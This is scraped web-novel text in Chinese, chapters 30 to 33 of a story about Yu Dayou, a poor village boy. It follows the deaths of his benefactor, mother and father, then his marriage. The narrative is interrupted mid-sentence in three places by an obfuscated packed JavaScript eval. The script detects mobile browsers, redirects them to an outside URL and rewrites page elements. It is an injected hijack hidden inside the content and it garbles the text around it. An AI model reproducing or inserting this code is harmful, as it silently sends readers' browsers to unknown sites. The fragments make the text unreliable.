可是他走出书房的脚步却显得格外沉重,好像挂着一根重达千斤的铁链。 他走到书房门口,左手扶着门框,顿了顿,不知道在想些什么。终于,他复又转身回到书柜前面,恼怒地打开柜子门,扒开儿子那堆花花绿绿的课本,再次抽出了那本黑色笔记本。 “妈的,不长记性,呸!跟老婆子一样,这辈子就是个劳碌命!” 说好了要放下,看起来也的确放下了,但实际上二十多年来本就没有打心底里做到,所以现在稍稍看到了机会,便要争一争,试一试。 他李江涛真是狗改不了吃屎。 30.小鱼儿 “小鱼儿,你一个人在那儿干什么呢?你爹呢?”老人看着眼前有些脏兮兮的小孩,笑眯眯地问道。 小孩有些害羞,听了老人的话倒也不怕,抬起头小声地回话:“我爹去挑水了。晚上还要做饭,我爹说再不去挑水,今晚就吃不上饭了。” 小孩说完之后,继续低着头,双手背在身后。 “那你饿不饿呀?来,过来,爷爷这儿有刚买的饴糖,拿去吃吧,甜甜的。” 小孩看着老人从裤兜里掏出一把糖,递了过来。 爹养家不容易,没钱给他买,他也不好意思管爹要,所以已经很久没吃过饴糖了。 他想像村子里其他同龄的孩子一样,见着什么好吃的,没吃过的,只要有人愿意给,就全部接过来。甚至人家没说要给,不愿意给,反正小孩子年纪小,哭喊几声,人家一心软,最后多数也会给。 但是他不敢这样做,因为爹会骂他。 爹说了,人穷不能志短,不能随意要别人的东西,不然就和街上的乞丐没什么分别。 所以这会儿,他虽然嘴里口水都快流了出来,但是他不敢要,因为他怕丢了爹的脸面。 他抬起小脑袋,摆摆手,一张嘴就要拒绝。 但是一个字都还没说出来,在腮帮子里存了好半天的口水,随着他张开的嘴,就如同开了闸的洪水,从他嘴角流了下来。 他一瞬间臊红了脸,双手垂在身体两边,尴尬得不知往何处放。脑袋放得更低,恨不得当即扎一个猛子,将头埋到门前的水田里。 “嘿嘿,小鱼儿,跟我客气什么?你汪爷爷哪次回村没给你们带上些小玩意?别人都拿着,你怕什么?” 汪家爷爷是个性子急的老头,看余大佑还是不动弹,当即拽过他的一只手,将手里的饴糖强塞给了他。 塞完了还不甚满意,他又从裤兜里抓出来一把。 见小孩的手已经捧着饴糖再也捧不下了,他也没有见外,直接扯开余大佑的衣服兜子,把糖装了进去。 还不等余大佑说话,汪家爷爷招呼着在不远处扯狗尾巴草的孙子,带着他急匆匆地走了。 刚走出余大佑家的破房子,汪家爷爷看着自己孙子傻愣愣玩草的样子,再跟刚才的小孩子一对比,心头的火一下子就上来。 “玩玩玩,一天就知道玩!书也不好好念!人家没钱念书辍了学,你可倒好,有钱也不好好念!汪明远,你比人家还大一岁,还没人家听话懂事!我怎么就摊上了你这样一个孙子?气死我了!” “人家孙子好,你怎么不去抢了,抢过来自己养活啊?” “你再敢顶一句嘴,看我打不死你!死孩子!” 黄昏时分,两个人吵吵闹闹的话语飘荡在田埂上。 一刻钟之后,身后余家的破木头房子里,余大佑的爹回来了。 他放下肩膀上一晃一晃的水桶,看着儿子站在家门口,拿着一大把饴糖,当下就知道了来龙去脉。 “你汪爷爷来过了?” “嗯,刚走。” “你拿了人家这么多饴糖,连一杯水都没给人家倒?” “我还没来得及倒,他就拉着汪明远走了。” 余二摸摸儿子凌乱的脑袋,看着儿子懂事的模样,心中一阵欣慰。 “嗯,汪家爷爷性子急,这个我知道。” 余二又看见儿子鼓鼓的衣兜子,语重心长地教育他:“汪家爷爷是个顶顶善良的人,你要懂得感恩,以后一定要好好报答他,听到没有?” “嗯,我知道的。” 虽说汪家爷爷跟个散财童子一样,每次卖掉了手里牛,挣了钱都会摸个仨瓜俩枣给村子里的孩子们,或者是给他们带点糖果糖葫芦之类的小零嘴,但或许是两人有缘分,也或许是因为余大佑比其他孩子更懂事,他每次都对余大佑格外的好。 虽然整个河阴村的人家都很穷,但是穷和穷之间也有分别。 并且因为穷人没有见过真正的富贵,所以恨不得比人家多一个子儿,就要高出对方一个“阶级”,进而再使出通身的力气,凭着这一个子儿压得对方抬不起头。 余大佑家就在河阴村最低的“阶级”,而汪家算得上是这个贫困村子里的“第一等”。 如果说汪家可以在河阴村仰着脑袋走路,那么余家就只能埋头走路。 这也是余大佑说话从不敢抬起头的原因。 不过,还有一个原因:低着头走路,就看不到别人眼里的恶意。 穷人的孩子早当家,在别人还在跟父母撒娇、撒泼打滚不干活的时候,余大佑就学会了看人家的白眼。 他不明白,自己家虽然穷,但是爹对他很严厉,他听话懂事,从不像像村子里其他孩子一样,偷别人的猪草、笋子之类的,搞些小偷小摸的动作。 但是村里人就是莫名的讨厌他,像讨厌他爹一样。 如果他爹做了什么坏事,连带着他也一齐讨厌,那退一万步讲,姑且也算个理由。 可他爹是世界上最善良的人,村里谁家修房子,村长呼吁修路修桥,但凡是需要人做苦力,他爹都冲在最前面,从不推辞。 但是大家就是讨厌他们一家,至于为什么,当时不过八岁的他,想破了头也想不明白。 村子里只有汪家爷爷不嫌弃他家穷,也没对他翻过白眼。 以后长大了是应该对汪家爷爷好的。 哦不,同样也应该对爹好,对爹更好,爹一个人既当爹又当娘,好不容易才把他拉扯大,当然也要对他好。 余大佑这样想着。 饴糖在余大佑的生活里太罕见,舍不得一下子全部吃完,所以每次撕了油纸后,再小心翼翼地放进嘴巴里,舍不得咀嚼,一定要等它自己在嘴巴里化掉。 余大佑连油纸也舍不得扔。 这是汪爷爷给的糖果,是以后自己要对他好的信物,一定要收藏起来,余大佑想着。 他找来了一个尺寸合适的木头盒子,盒子的左边放饴糖,右边放油纸。 每次吃完一个饴糖,就把包裹它的油纸放到盒子的另一半。 就这样,在木头盒子左边几乎见底,右边满得快要放不下的时候,汪家爷爷死了。 余大佑还没有完成信物的收藏,他想报答的那个人就死掉了。 听爹说,汪爷爷被一个疯狗咬了,然后得了狂犬病。 余大佑从田里往家赶回鸭子的时候,又听见路过的吴大娘和人闲聊。 她非常肯定地说,汪家爷爷这些年的钱不是靠着卖牛挣来的,肯定是当了山匪,抢了无辜老百姓的银钱,所以老天爷降罪,把他收了去。 余大佑不知道汪爷爷为什么死了,他不知道狂犬病是什么,但他可以肯定的是,汪家爷爷不会是个坏人,吴大娘肯定在说谎。 他想上前纠正她,跟她理论清楚,跟她说汪爷爷不是坏人。 但是他拿着赶鸭子的竹竿,刚从田地里走出来的时候,忽然正面迎上了向他走来的吴大娘。 她手里拿了一把刚从地里摘的青菜,看样子是要赶回家做饭。 吴大娘正跟旁边的李家媳妇一边走一边说笑,说到老天爷收人的时候,正说得浑身激动不已,好像是大仇得报,却看到余家的小子捏着一根竹竿,从侧面突然走了出来。 她的脸上顿生不喜,接着就是一个个白眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105362|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不要钱一样地扔向余大佑,满脸的嫌恶,她讨厌极了余家的这个穷小子。 已经太多次了,余大佑搞不明白,为什么她这样地讨厌自己,好像自己上辈子杀了她的父母。 吴大娘脸上的嫌恶还没收起来,皱着眉头又看到余大佑满裤腿的淤泥,还有他那漏出布鞋的大脚指头。 她满心厌恶,正打算狠狠地骂他一顿,向他施加自己最大的恶意,那孩子却像是不曾察觉到一样,只是倔强地盯着自己。 见到此景,她更是愤怒。 这个死孩子吃错了什么药,竟然敢这样盯着自己,他平时都低着头躲避的! 但她好像是被谁附身了,嘴里的谩骂怎么也吐不出来,在余大佑盯着她的眼神中,突然感觉到一种心虚,好像她是个恶劣的小偷。 汪家爷爷生前对村子里的谁不好了?谁敢拍着胸脯保证,自己没有承过他的恩情? 老人尸骨未寒就在他身后造谣,用最歹毒的诅咒谩骂别人,承了他人的恩情不还也不认,这不是小偷行为又是什么? 但是吴大娘不认,她不承认她的心虚,也不认为她欠谁,只是愤怒,出离的愤怒! 本想趁着余大佑的爹没在附近,趁机拿住那孩子,狠狠教训他一顿,但她手里捏着的青菜提醒着她:赶紧回家做饭,饿着了家里的男人,免不了晚上又是一顿毒打。 吴大娘恶狠狠地剜了余大佑一眼,愤愤然地唾了他一口,“呸,你个死穷鬼看什么看?马上你也要像汪家老头儿一样,叫老天爷收走!” 骂完人之后,吴大娘顿觉解气,支着她的圆规腿,和旁边看了她半天笑话的李家媳妇一起走了。 余大佑犹豫了一个晚上,他想趁着汪爷爷还没有出殡,去灵堂看看他。 但他连这也不敢,因为汪家奶奶非常凶悍,又生性多疑,每次见了他,总觉得他定是上自己家讨东西来了,所以每次都会骂他、赶他。 余大佑辗转反侧,第二日上午,他终于下定决心,偷偷猫着身子去了汪家爷爷的灵堂。 这是余大佑第二次看见人的尸体。 可能因为是汪爷爷的尸体,汪爷爷生前是村子里除了爹以外,对自己最好的人,所以他见了汪家爷爷的尸体也并不感到害怕。 灵堂里挂着一些白色的纸条,他不懂这些是什么,但是村里有人死掉的时候,他也远远地看见过。 他环顾四周,看见不远处平时凶悍无比的汪家奶奶安安静静地坐着,应该是没有发现他。 突然,远处传来几个人哒哒地脚步声,他们径直走向了汪家奶奶。 余大佑见过这几个人,她们是汪家奶奶娘家的姐妹。汪家奶奶一见到这几个人,当即就嚎哭不止,嚎得震天响,余大佑看见挂着的白色纸条也跟着她的哭声飘动起来。 他见远处几个人围着哭着,没工夫搭理他,趁机悄悄走近了汪爷爷。 棺材里,汪爷爷安安静静地躺着。 平时总爱笑吟吟喊他“小鱼儿”的老人,此刻穿着一件白色的粗布寿衣,两只大手贴在身旁,再也不能从裤兜里抓出一大把饴糖给他,眼睛也紧紧地闭上了,再也睁不开。 汪爷爷满脸发白,嘴唇紧闭,没有一丝血色。 他看着他惨白的脸,并不觉得害怕,只是悲伤难过,一种异样的情绪从他心里涌出。 封存在他内心最深处的记忆,像是屋外从天上泼下的大雨,瞬间便浇透了他。 余大佑强忍住泪意,像以前做过的那样,给汪爷爷磕了三个头,然后也不管有没有人看到他,冒着屋外的瓢泼大雨,一路回了家。 眼泪混合着雨水,糊在他脸上,分不清楚。 31.神仙的孩子?狗屁! 余大佑想到了母亲,也想到母亲死掉的那个晚上。 那时候他不过四五岁的年纪,跟着村子里的其他几个泥孩子瞎玩,他们捡来湿透的泥巴,也不顾外面下着雨,在一处荒院子里捏泥人玩。 余大佑的脸上满是得意,因为这是他捏得最好的一个,最有人样。 等会儿他一定要高高地将它举到头顶,给他娘炫耀! 他捏得满手是泥,正沉迷其中,远处突然传来一个女人气喘吁吁的呼喊。 “余大佑!余大佑!快回你家去!你爹喊你马上回去!你娘快死了!” 余大佑忙扔了手里快要成型的小人,慌不择路地跟着女人往家里跑。 那泥人被他随手扔在地上,一瞬间便被砸得没了人形。 不是快死了,而是已经死了。 余大佑用尽力气,甩着两条短腿,拼了命地跑回家,但娘还是死了。 由于常年劳作,经常顶着毒辣的日头下地干活,她平时的脸是黝黑的,双手也粗糙得不像样。身躯瘦小,身形纤弱,这个一米五出头的女人躺着,此刻灰败的面色让她几乎快要融入泥地里看不见。 她永远地躺在了地上,而不久后,她还会长眠在地底下,再也见不到她的丈夫和儿子。 余大佑的爹失了神地站在一旁,六神无主,扶着木头墙,站得极为勉强。 他不敢看她,他后悔了,但是后悔是最没用的东西。 他没有本事,挣不到钱,也连累得她和孩子也跟着自己吃苦受罪,被人看不起。 可他最不该的,是为了迎合村里的人,为了所谓男人的面子,和村里人一样,怀疑她偷了村长家儿子结婚时收的礼金。 他们一致对外,只有她一人是那个“外”。 他们对她指指点点,指责她,咒骂她,说她掉到钱眼子里了,烂掉了良心,什么都敢偷。 哪怕最后村长家人找到了那笔钱,也没有人同她道歉。 像是看了一场烟花,看完便领着自家人开开心心地回了家,而她就是那烟花,被风言风语炸得粉身碎骨。 她蒙受了最歹毒最无端的猜疑,连丈夫也不愿相信她的清白,所以她同他怄气,渐渐的,身体每况愈下,不过三个月,便摧枯拉朽一般地散了心气。 他的后悔,没用,也廉价。 村里的大娘们赶开男人,围在余大佑母亲的身边,急切地替她换上寿衣。 因为人死了若不赶紧换上寿衣,等到不久后血凉透了、四肢僵硬了,就再也穿不上。 余大佑就这样看着她们给自己母亲穿上一件有些奇怪的衣服,看着母亲的脸色完全失去血色,逐渐变得苍白。 自那以后,他再也不玩捏泥人。 更小一些的时候,等到白天爹娘收完地里的稻谷,晚上吃了饭之后,他和爹娘就会搬一个凳子,坐在夜凉如水的院子中间,各自握一把蒲扇纳凉。 夏夜里蝉鸣声声,空气中还弥漫着稻谷的清香,大人们褪去了一身的疲惫,他则满眼星星,期待母亲今晚的故事。 母亲告诉他:“从前啊有一个女人,她非常厉害,所有的人都是她捏出来的。” 余大佑好奇地问:“她是谁?” 母亲故意卖了很久的关子,等到儿子急得快要耍赖了,才慢悠悠地回他:“这人是女娲,我们大佑也是她捏出来的,是神仙做出来的,所以我们大佑不是个凡人,是娘的孩子,也是神仙的孩子。” 余大佑又问了:“那能不能叫女娲大娘给我重新捏过,我不喜欢我的脑门,三娃子他们总是笑话我,说我是怪物,脑门上有角要长出来了。” 母亲笑着骂他道:“他们都是小孩子,什么都不懂!我们大佑是长了伏羲骨,是龙角,以后肯定比他们有出息!” 余大佑信了母亲的话。 从那以后,每次和人捏泥巴玩,别人总爱捏一些瓶瓶罐罐,他却偏爱捏泥人。 别人再骂他是长角的怪物,他也不恼,不争不辩,暗自得意自己是神仙的孩子,所以才长了个叫伏什么的骨头。 可是娘骗了他。 女娲捏泥人能创造出人来,可是他捏泥人,偏偏娘就死掉了。 他额头上那个叫伏什么骨的,也并不意味着他是个注定有出息的神仙孩子。 相反的,他不是神仙的孩子,而是神仙的仇人,神仙以捉弄他为乐趣。 汪家爷爷死之后,余大佑总是会在晚上做梦。 从前年纪小,关于母亲的记忆也少,所以不怎么梦到她,但现在她却经常出现在他的梦境里面。 娘现在应该是看我可怜吧,所以也会来安慰我了,余大佑心想。 梦里不止有母亲,还有刚去世不久的汪爷爷,他向余大佑招手,喊他“小鱼儿”,还掏出一根他很久都没吃到的糖葫芦。 母亲也站在那头的田野上,站在汪爷爷的身旁,拿着一把锄头,看自己儿子嘴馋奔跑的模样,颇有些不好意思地跟汪爷爷点点头,状若责备,却笑吟吟地看着他跑过来。 余大佑远远地看到他们,他穿过田野,伸直了手臂,用从没有过的勇气,欣喜若狂地喊:“娘!汪爷爷!” 他跑在盛夏金黄色的田野上,像风一样飞奔。 穿着草鞋的脚却突然触摸到一阵冰凉,低下脑袋一看,一条两米多的黑色大蛇横趴在田埂上,此刻正贴着他的脚面,冰凉凉的触感瞬间传到四肢百骸。 他尖叫一声,忍着害怕,慌忙踢开了。 等到抬起头再一看,没有了母亲,也没有了汪爷爷,只剩下他一个人,在一眼看不到头的田地里,孤独,渺小,像是一棵被烈日晒得直不起腰的野草。 余大佑此生注定就是一棵野草,一棵没有娘也没有爹的野草。 余大佑十岁那年,他爹余二也死了。 那年的夏天,天气极不寻常,较之往年热得厉害,涨水也涨的凶猛。 河阴村比周围几个村地势更低一些,河里发了大水,因此受的影响也比周围的几个村子更严重。 村长组织着村里的青壮年一起去抗洪,可后来洪水越来越严重,人手不够用,村里只要能走路、有一把子力气的老头也被喊去干活。 河水混杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此刻,和他最为亲近的兄弟抓住了他的衣摆,希冀他能带上力气早已耗尽了的自己。 疯魔了的水怪追在两人身后,顷刻间就要将他们两人抓走,沉入浊浪之中。 男人感受到没过腰间的水流隐隐快要到达胸口了,他不敢向后看,只感到由脚底漫上心口的巨大恐惧,他的大脑一盘空白…… 他想活下来,想更加确凿地活下来,更大概率地跑上岸去! 男人脚下不敢稍作停留,伸手向后,面对死亡的威胁,没带一丝犹豫,猛地扯开了余二的手。 在他身后,平日最要好的兄弟变成水鬼的食物,顷刻间淹没在黄色的浊流中,几个眨眼的功夫就消失不见。 男人奋力跑上岸的身影迅疾而奋力,因此没有看到身后余二的脸。 只有提前上了岸的另一个矮小男人看到了,那脸上是对洪水的恐惧、对活命的希冀、对兄弟相救的恳求…… 通通落空。 余二死了。 32.误入人间 两天后,持续了半个月的大雨终于彻底停了。 阳光射下一道道光影,从簇拥着的云团里跻身而出。 余二躺在河边一块巨大的花岗岩上,金黄色的暖阳包裹了他,他的身体却在两天前就失去最后一丝温度,再也感受不到一丝暖意。 村长带着几个青壮年男人,顺着河流的下游找了好久,终于在两天后找到了余二。 几个钟头后,余二被他们放在一个竹子制成的简易担架上,头上蒙着一块白布,被几个同村的男人抬着,带回了河阴村。 一路上,当初和余二结队挖淤泥的四个男人都在人群当中。 矮个子男人在余二被河水冲走的晚上就做了一场噩梦。 梦里还是他们在河道里挖河草和淤泥的情景。 他看到余二独自一人被章家男人扯开双手,甩在身后,余二面上情绪复杂,本就让大老粗的他看不明白,他再要细细地端详,余二的嘴角和眼角却一滴一滴地淌下血滴。 那血滴子不停地流入河水中,染得附近被搅浑了的河水,也从泥黄色变成鲜红色。突然,上游的河水又泄了下来,满河的水顷刻间全部变红。 他害怕得连连后退,慌忙看向河中央,余二却早已经消失不见。 赤红色的河水向他奔腾而来,狠狠地拍在他的脸上和身上,浇得他全身是血。 他闻到一阵浓烈的腥臭味,味道直冲他鼻子,而后他突然感到胸前一阵凉意,低头一看,却是属于余二的大半个心脏,血糊糊一团,粘附在他胸口。 他惊吓得直挺挺地坐了起来,再也睡不着。 抬手往脸上胡乱一模,已然满头大汗。 接下来的两天晚上,他每晚都在做噩梦。 此刻,两天来不怎么合眼的矮个子男人,蔫蔫地跟在队伍最末尾。 他本来是害怕极了不想来的,但是村长的亲戚和收了村长钱的人都不愿意惹上这种晦气事,纷纷推脱,所以他又没躲过。 妻子也劝他跟着来,送余二最后一程,也算是给他卖个好,让他安安生生地上路,不要再来找他这个看客。 对啊!我只是个看客! 余二,我是有错,我没有救你,但是最有错的不是我! 是章家男人,是他扯开了你的手,你找他去! 天色渐渐黑了下来,矮个子男人觉得四周一片阴森。 他惊惧不已,在快要到河阴村的时候,夜雨突然又下了起来,一滴滴落在他的脸上,他的肩膀上,如同梦中骇人的血滴子,脸上也隐隐感到一阵温热…… 定是余二来了,他来讨要说法了! 矮个子男人终于忍不住,他抖着嗓子,扯破了喉咙,好像要故意说给旁边飘荡着的怨鬼听,他大声地质问章家男人:“章太平,余二那天抓住了你的衣服,让你救他,你为什么不救?你们不是最要好吗?我那天看到了,全部都看到了!” 章太平行尸走肉一般地走在队伍的另一边,听到这话,惊地浑身发凉,那日余二扯着他衣服后摆的感觉又上来了。 他还没来得及寻找声音的来源,就看到担架左右两边的人们目光灼灼地看着自己。本来就因为穷被他们看不起,要是再背上了杀人害人的名声,自己就彻底在村子里过不下去。 章太平怕得顿时慌忙摆手,“不是我!我没有不救他!他确实是抓了我的衣服,但是是他自己没有抓紧,被河水冲走了!不关我的事!” 矮个子男人怕章太平的否认连累得余二再来找自己,一个健步冲到章太平面前,一把抓住他的汗衫,死死盯着他,“他抓了你的衣服,想要你救他上岸,你他二大爷地扯开他的手,自己跑上岸了!你承认不承认?就是你,是你杀了他——” “好了,都别闹了!人都死了,扯这些没用的干什么!”队伍最前面,村长听了半晌,看队伍里其他人都在饶有兴致地看笑话,他终于出声制止了这场闹剧。 对他来讲,余二怎么死的并不重要,是谁害死的也不重要,死了也就死了,只是以后再有脏活累活,可再找不出余二这种听话好使唤的人了。 他不无遗憾地发出一声叹息,复又招呼着大家抬上余二,一脚一步地踩着脚下的水坑往河阴村去了。 余大佑已经十岁了,母亲和汪爷爷的去世后,这已经是他第三次经历亲近之人的离世。 但母亲和汪爷爷去世时,他年纪尚小,对于死亡的理解仍旧停留在浅薄的层面。 就像母亲死后,他总觉得母亲会在某个深秋的晚上,裹着一身寒气,一边背着锄头和背篓,一边高兴地喊他:“大佑,跟娘回家了!” 余二死后的一两个月,他并没有太多的感悟,哪怕那日他亲眼看着村里人带着余二的尸体回村。 余大佑彻底麻木了,他从记忆里删掉那个片段,自动忘记蒙着白布的爹,只愿意相信爹应该是去了某个地方打零工,是给家里挣钱去了。 和以前一样,只是这次出去的时间长了些。 虽然才十岁,但是穷人的孩子早当家,他很早就学会了做饭煮菜,学会了照顾自己。两个月来,他把自己照顾得很好,按时吃饭,按时睡觉。 只是今日发生了些小意外:余二舂的米吃完了。 他看过爹舂米,于是找来舂米的石臼和杵子,将稻谷放进去,笨拙地拿起杵子,一下又一下。 却不怎么顺利,稻谷时不时地被杵带出石臼,等到舂得差不多的时候,他再一看,地上已经洒满了谷子。 今日舂米花了他太多时间,等到收拾干净地上的稻谷,再等到吃完晚饭,深夜已经悄然来临。 夜幕全然落下,屋里一片漆黑,他摸黑点上煤油灯,煤油灯的灯光投射在墙面上。 光影里,只有他一个人的影子。 此时已经是初秋,天气渐凉,冷风透过木墙的缝隙间吹进屋,冻得他猛地瑟缩了一下,墙面上的影子也跟着动一下。 他看着那影子,一种不祥的预感突然笼罩上心头。 他慌忙往后一躲,那影子也跟着一躲。 他一个不察,往后栽倒在地,墙上的影子竟也跟着消失。 余大佑坐在屋里冰凉的泥地上,沉默半天,理不清思绪,眼泪却像断了线的珍珠从他眼角滑落,先他思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尽管他很听话地少吃饭,多做事,每天晚上还没等到睡着就饿得肚子咕咕叫,但是舅舅和舅妈还是对他非打即骂。 虽然大多数时候打骂自己的都是舅妈,但是他在柴屋劈柴的时候,偷偷听到过,知道这是舅舅的授意。 舅妈是一个抠门小气的女人,但是她没有太大的坏心,只是心疼自家的饭菜。 而舅舅是个看似良善,实则阴险的男人。他虚荣爱面子,最受不得村里人指指点点,但他对养自己外甥这件事百般不愿,所以就拿这个抠门女人当枪使,指使她口出恶言,指使她对余大佑拳打脚踢。 当余大佑受不了女人的打骂,孑然一身地回到河阴村时,果不其然,女人成了没有良心、欺压丈夫的歹毒女人,而他舅舅躲在女人身后,只用装出害怕家里“母老虎”的样子,便将他出谋划策的罪魁祸首身份摘得一干二净。 从那以后,余大佑就一个人生活。 直到神仙好像是想起了他,让他遇到了妻子孙英梅。 33.我的饴糖滑落了 余大佑第一次遇到她是在他干活的工地上。 孙英梅的父亲老孙头是工地上的包工头,余大佑是他手底下的人,跟着他的队伍走南闯北,渐渐累积了些经验。 那时候他还只是个学徒,跟在老孙头的同村人老樊身后学砌砖。 老孙头的队伍要么是跟他一个村的人,要么就是老孙头各种七弯八拐的亲戚,只有余大佑跟他沾不上半点关系。 说起来,余大佑也觉得奇怪,这个活儿起初还是村里与他不相熟的章叔章太平给他介绍的。 他对这个章叔没太多印象,只记得小时候,章叔家好像跟他家差不多,都在村里穷得名声大震。 那时候爹还活着,章叔经常来他家,有的时候还给他带上两个章家婶婶自己做的玉米粑。 那是用一种用磨碎了的玉米做成的食物,用石磨将玉米磨得越碎越好,然后搓成饼状,放到锅里蒸熟或者放到锅里煎。 只不过煎需要耗费很多猪油,加上大家都很穷,舍不得用玉米做这么金贵的食物,所以余大佑记忆里只有很模糊的蒸熟的玉米粑的样子,和萦绕在鼻尖的淡淡粮食香气。 他印象中章叔是和他爹很好的兄弟,所以章叔介绍的活儿他也很珍惜,十分卖力地干,只希望不要丢了他的脸。 他年轻又勤奋,手脚快,人也机灵,所以学得也快。 起初他岁数小,什么也不会,只跟着老孙头做一些杂活,混混灰浆,搬搬砖头,做些体力活。 但是老孙头看在眼里,很快认可了他,还让老樊教他砌砖。 他干得越发卖力。 一日,其他的人都去吃饭了,他看着眼前还剩下十几公分高度就要完工的墙面,忍饥挨饿,打算砌完了剩下的砖头再去吃饭。 他刚弯腰从旁边拿起一块砖,饿了一早上的肚子就咕咕叫起来。他越是忍住饿意,肚子叫得越是欢快。 此时,墙那头不知是谁听了他震天响的肚子叫声,也发出银铃般的笑声,笑得弯了腰,一手扶墙,直不起身。 余大佑听到这陌生的声音,弯下腰,探出脑袋就朝着墙那头看。 没曾想,墙那头的女子此刻也勉强撑起了身子,仰头朝墙里边看。 她用红绳扎着两股麻花辫,左手的小臂上挂了一个竹筐,上面用蓝色碎花布盖了,看不清里面是什么。 余大佑一探出头,就对上了她笑意盈盈、弯成一道月牙的眼睛,里面像噙着一汪水。 余大佑常年跟着老孙头待在工地,没有活干的时候就回到河阴村,很少出门,自然也很少见到女子。 他一手拿着砖头,一手拿着铲刀,蓦地见到一个陌生的年轻女子,正不知作何反应,他的肚子帮了他个“大忙”。 “咕咕——” “哈哈哈哈——” 余大佑的脸红了又红,臊得他一个字儿说不出来,干脆用沾了满手灰的手,摸着后脖颈,跟着女孩爽朗的笑声,嘿嘿傻笑起来。 孙英梅见他呆呆傻傻、不知所措的模样,笑骂一句:“傻子!真是个傻子!我爹让我来喊你呢。喏,这是我娘和我一起做的玉米粑,做了很多,过来尝尝吧。” 说完,便掀开那方蓝色碎花布,伸高了双臂,将竹篮高高举起给余大佑看。 这是余大佑第一次见到孙英梅。 两年之后,在老孙头的撮合之下,孙英梅嫁给了他。 结婚之前,他拆掉自己住了快二十年的木头房子,在原地搭建起一栋砖房。他早就想好了,现在自己要在这房子里和妻子喜结连理,以后,他们的孩子也会在这里出嫁。 这房子将会见证他的重生,他也会同若干年前母亲在这院子里告诉自己的那样,成为村子里最有出息的人。 初春,一个风和日丽的日子里,孙英梅踏进新房子,在老孙头的鼎力主持之下,在亲友的共同见证下,她嫁给了余大佑。 他们两人将在此共同度过余生,如果,如果不出意外的话。 婚后,很快地,两人爆发了第一次争执。 无他,孙英梅想跟着余大佑一起,跟着他走南闯北,跟着他一起在工地上讨生活,但是余大佑不愿意,他不想妻子吃苦受累,极力想让妻子留在家中。 余大佑看着傻乎乎,不如妻子有主见,却是个认死理的人。 他认定了妻子是要跟着他享福的,不能跟着他吃苦,何况妻子婚前也不曾在岳父家受累,如今跟他成亲了反而要到工地上讨生活,这算什么道理? 于是这一回合,孙英梅败下阵来。 她每日只安安心心地待在家,干点农活,到了余大佑回家的日子,她便到集市上买点平时不常见的肉和菜,做好饭菜等着丈夫回家。 一日,余大佑下了工,害怕妻子在家等着自己吃晚饭,等得饿着自己,他一路上不断加快脚程,终于在天擦黑的时候赶回了家。 但是院子门大开着,妻子此刻并没有在家,只剩下院子里妻子前几日从路边竹林里捡回来的一条小黑狗。 它看着只见过一次面的男主人汪汪大叫,四只小短腿急得乱甩,从门槛冲过来,气势骇人。 但雷声大,雨点小。余大佑只用一只脚就将它踢开。 余大佑跑进屋里,冷锅冷灶,没有往日的烟火气,他找了一圈儿也没找到妻子,有些害怕,又有些慌张,急冲冲地几个箭步便跨出院子要出去寻她。 甫一跨出院门,不远处,却看到妻子一脸怒气冲冲,小脸气得鼓鼓的,连踩在地上的脚步声音也比平日大。 余大佑看到她回来,心中的害怕和担心顿时卸掉,长舒一口气,“你去哪里了,怎么这么晚才回来?” 见孙英梅还是生气,并不说话,余大佑有些忐忑地往前迎了她,“怎么,谁惹你生气了?” “没有谁惹我生气,我就是看不惯!咦,今天可气死我了!” 孙英梅说完,也不看低头注视着自己的丈夫,愤愤地剜他一眼,“反正,反正你们男人没有一个好东西!” 她跺跺脚,瞪了他一眼,气鼓鼓地进了院子。 一整个晚饭的时间,孙英梅都没怎么说话,余大佑也不敢招惹她,只是专心地大口往嘴里扒饭。 孙英梅把碗往桌子上用力一放,“你怎么回事啊?你看我生气都不问我发生什么了?” 余大佑鼓着腮帮子使劲嚼完嘴里的饭,终于有时间说话:“我、我怕你生气,不敢问……” “你真是个傻的,你不问我,我一个人憋在心里,我不就更生气了?” “那你是为什么生气啊?”余大佑一手捧着碗,一手疑惑地挠挠头。 孙英梅想起今天的事情,瞬间就泄了气,有些沮丧地低着头,小声问道:“你知道耿攀吗?” “啪——”余大佑的碗使劲放在桌面上,发出一声巨响。 “他怎么了?他是不是……我要弄死他!”余大佑听过耿攀一些不好的传闻,听了妻子的话,咬紧了腮帮子,当下怒气上涌就要去找耿攀。 “别别别,你别,不是我,是……是河图村的小元。” “小元?我好想听妈提起过……”余大佑闻言,皱着的眉头终于散开,“是你出嫁前玩得很好的那个小元?” “嗯嗯,她不是也嫁人了吗,嫁给了那个杀猪匠,你知道的呀。” “这我知道,但是和耿攀什么关系?”余大佑彻底放心了,又往嘴里扒了一大口饭。 “前几天吧也就,她发了高烧,病得又急,虽然早就听说耿攀有些不好的传闻,但她实在难受,就还是找了耿攀瞧病。但是,但是那个耿攀,真是个畜生!他趁着她难受,就对她动手动脚。” 孙英梅越说越小声,越说越难受,甚至带上了哭腔。 余大佑慌了,嘴里的饭吞也不是,吐也不是。 “她去耿攀那里看病的前一天吧,我还去了她家的,她非撑着说自己没事。你说,我要是当初硬是带她去另一个村看病,怎么会有后来的事情?她从小跟我玩得最好了,我……” 